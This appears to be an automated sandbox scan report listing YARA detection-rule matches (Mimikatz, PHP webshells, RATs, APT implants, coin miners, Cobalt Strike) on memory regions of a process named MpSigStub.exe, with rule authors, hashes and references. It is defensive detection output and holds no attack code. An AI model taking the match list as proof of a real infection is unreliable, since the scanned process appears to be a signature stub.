        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: REDLEAVES_DroppedFile_ImplantLoader_Starburn author = USG, description = Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT, reference = https://www.us-cert.gov/ncas/alerts/TA17-117A, true_positive = 7f8a867a8302fe58039a6db254d335ae
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: ZxShell_Jul17 date = 2017-07-08, hash1 = 5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16, author = Florian Roth, description = Detects a ZxShell - CN threat group, reference = https://blogs.rsa.com/cat-phishing/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: malware_sakula_xorloop author = David Cannings, description = XOR loops from Sakula malware, md5 = fc6497fe708dbda9355139721b6181e7
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: IMPLANT_4_v5 date = 2017-02-10, author = US CERT, description = BlackEnergy / Voodoo Bear Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: IMPLANT_5_v3 date = 2017-02-10, author = US CERT, description = XTunnel Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: RAT_Sakula date = 2015-10-13, author = Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou / NCC Group David Cannings, description = Detects Sakula v1.0 RAT, reference = http://blog.airbuscybersecurity.com/public/YFR/sakula_v1x.yara
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: TA17_293A_malware_1 date = 2017/07/17, hash5 = 038A97B4E2F37F34B255F0643E49FC9D, hash4 = 04738CA02F59A5CD394998A99FCD9613, hash3 = 8943E71A8C73B5E343AA9D2E19002373, hash2 = BA756DD64C1147515BA2298B6A760260, hash1 = A07AA521E7CAFB360294E56969EDA5D6, hash0 = 61C909D2F625223DB2FB858BBDF42A76, author = US-CERT Code Analysis Team (modified by Florian Roth), description = inveigh pen testing tools & related artifacts, hash10 = 4595DBE00A538DF127E0079294C87DA0, hash9 = 722154A36F32BA10E98020A8AD758A7A, hash8 = 5DBEF7BDDAF50624E840CCBCE2816594, hash7 = AA905A3508D9309A93AD5C0EC26EBC9B, hash6 = 65A1A73253F04354886F375B59550B46, reference = https://www.us-cert.gov/ncas/alerts/TA17-293A
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Strings date = 2016-06-08, author = Florian Roth, description = Detects Mimikatz strings, reference = not set, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GORAT_5 date = 2020-12-02, author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, modified = 2020-12-02, md5 = cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GoRat_Memory author = FireEye, description = Identifies GoRat malware in memory based on strings., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 3b926b5762e13ceec7ac3a61e85c93bb
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: HackTool_MSIL_SharpHound_3 author = FireEye, description = The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = eeedc09570324767a3de8205f66a5295
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_CsharpAmsiBypass date = 2020-12-13, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/WayneJLee/CsharpAmsiBypass, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_SharpHound3 date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/BloodHoundAD/SharpHound3, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: ROKRAT_Nov17_1 date = 2017-11-28, author = Florian Roth, description = Detects ROKRAT malware, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: vanquish_2 author = Yara Bulk Rule Generator by Florian Roth, description = Webshells Auto-generated - file vanquish.exe, hash = 2dcb9055785a2ee01567f52b5a62b071
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: malware_red_leaves_memory author = David Cannings, description = Red Leaves C&C left in memory, use with Volatility / Rekall
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: gh0st author = https://github.com/jackcr/
        Source: 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp, type: MEMORYMatched rule: clearlog date = 2017-06-02, hash1 = 14093ce6d0fe8ab60963771f48937c669103842a0400b8d97f829b33c420f7e3, author = Florian Roth, description = Detects Fireball malware - file clearlog.dll, reference = https://goo.gl/4pTkGQ, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmp, type: MEMORYMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmp, type: MEMORYMatched rule: Oilrig_IntelSecurityManager_macro date = 2018-01-19, author = Eyal Sela (slightly modified by Florian Roth), description = Detects OilRig malware, reference = Internal Research
        Source: 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT_Backdoor_Win_GoRat_Memory author = FireEye, description = Identifies GoRat malware in memory based on strings., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 3b926b5762e13ceec7ac3a61e85c93bb
        Source: 00000023.00000003.18336077687.0000015B1BE5C000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
        Source: 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18324883471.0000015B1B176000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, type: MEMORYMatched rule: Trojan_Win32_PlaKeylog_B author = Microsoft, description = Keylogger component, activity_group = Platinum, version = 1.0, unpacked_sample_sha1 = 6a1412daaa9bdc553689537df0a004d44f8a45fd, last_modified = 2016-04-12, original_sample_sha1 = 0096a3e0c97b85ca75164f48230ae530c94a2b77
        Source: 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, type: MEMORYMatched rule: DeepPanda_htran_exe date = 2015/02/08, author = Florian Roth, description = Hack Deep Panda - htran-exe, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 38e21f0b87b3052b536408fdf59185f8b3d210b9
        Source: 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp, type: MEMORYMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, type: MEMORYMatched rule: Ammyy_Admin_AA_v3 date = 2014/12/22, hash2 = 07539abb2623fe24b9a05e240f675fa2d15268cb, author = Florian Roth, description = Remote Admin Tool used by APT group Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe, reference = http://goo.gl/gkAg2E, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = b130611c92788337c4f6bb9e9454ff06eb409166
        Source: 00000023.00000003.18285899877.0000015B1B2C2000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18285899877.0000015B1B2C2000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 6efb58cf54d1bb45c057efcfbbd68a93
        Source: 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18323536692.0000015B1B176000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_PowerShell_Caret_Obfuscation_2 date = 2019-07-20, author = Florian Roth, description = Detects powershell keyword obfuscated with carets, reference = Internal Research
        Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: MAL_unspecified_Jan18_1 date = 2018-01-19, hash1 = f87879b29ff83616e9c9044bd5fb847cf5d2efdd2f01fc284d1a6ce7d464a417, author = Florian Roth, description = Detects unspecified malware sample, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, type: MEMORYMatched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth, description = Detects malware from Middle Eastern campaign reported by Talos, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b
        Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, type: MEMORYMatched rule: HackTool_Samples description = Hacktool, score =
        Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, type: MEMORYMatched rule: MirageStrings author = Seth Hardy, description = Mirage Identifying Strings, last_modified = 2014-06-25
        Source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_base64_encoded_payloads date = 2021/01/07, author = Arnim Rupp, description = php webshell containing base64 encoded payload, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 88d0d4696c9cb2d37d16e330e236cb37cfaec4cd
        Source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_known_webshell date = 2021/01/09, author = Arnim Rupp, description = Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions., license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 7b6471774d14510cf6fa312a496eed72b614f6fc
        Source: 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp, type: MEMORYMatched rule: WScriptShell_Case_Anomaly date = 2017-09-11, author = Florian Roth, description = Detects obfuscated wscript.shell commands, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, type: MEMORYMatched rule: Pupy_Backdoor date = 2017-08-11, hash5 = 06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e, hash4 = 20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8, hash3 = 90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc, hash2 = 83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4, hash1 = ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153, author = Florian Roth, description = Detects Pupy backdoor, hash7 = 8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01, hash6 = be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2, reference = https://github.com/n1nj4sec/pupy-binaries, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT_MAL_Sandworm_Exaramel_Configuration_Key author = FR/ANSSI/SDO, description = Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[...
        Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_known_webshell date = 2021/01/09, author = Arnim Rupp, description = Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions., license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 7b6471774d14510cf6fa312a496eed72b614f6fc
        Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, type: MEMORYMatched rule: Oilrig_IntelSecurityManager date = 2018-01-19, author = Eyal Sela, description = Detects OilRig malware, reference = Internal Research
        Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18411185064.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18411185064.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18330301023.0000015B1B598000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
        Source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, type: MEMORYMatched rule: xtremrat date = 2012-07-12, filetype = memory, author = Jean-Philippe Teissier / @Jipe_, description = Xtrem RAT v3.5, version = 1.0
        Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, type: MEMORYMatched rule: REDLEAVES_DroppedFile_ImplantLoader_Starburn author = USG, description = Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT, reference = https://www.us-cert.gov/ncas/alerts/TA17-117A, true_positive = 7f8a867a8302fe58039a6db254d335ae
        Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, type: MEMORYMatched rule: IMPLANT_5_v3 date = 2017-02-10, author = US CERT, description = XTunnel Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, type: MEMORYMatched rule: malware_red_leaves_memory author = David Cannings, description = Red Leaves C&C left in memory, use with Volatility / Rekall
        Source: 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: Cobaltbaltstrike_Payload_Encoded author = Avast Threat Intel Team, description = Detects CobaltStrike payloads, reference = https://github.com/avast/ioc
        Source: 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_obfuscated_encoding date = 2021/04/18, author = Arnim Rupp, description = PHP webshell obfuscated by encoding, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
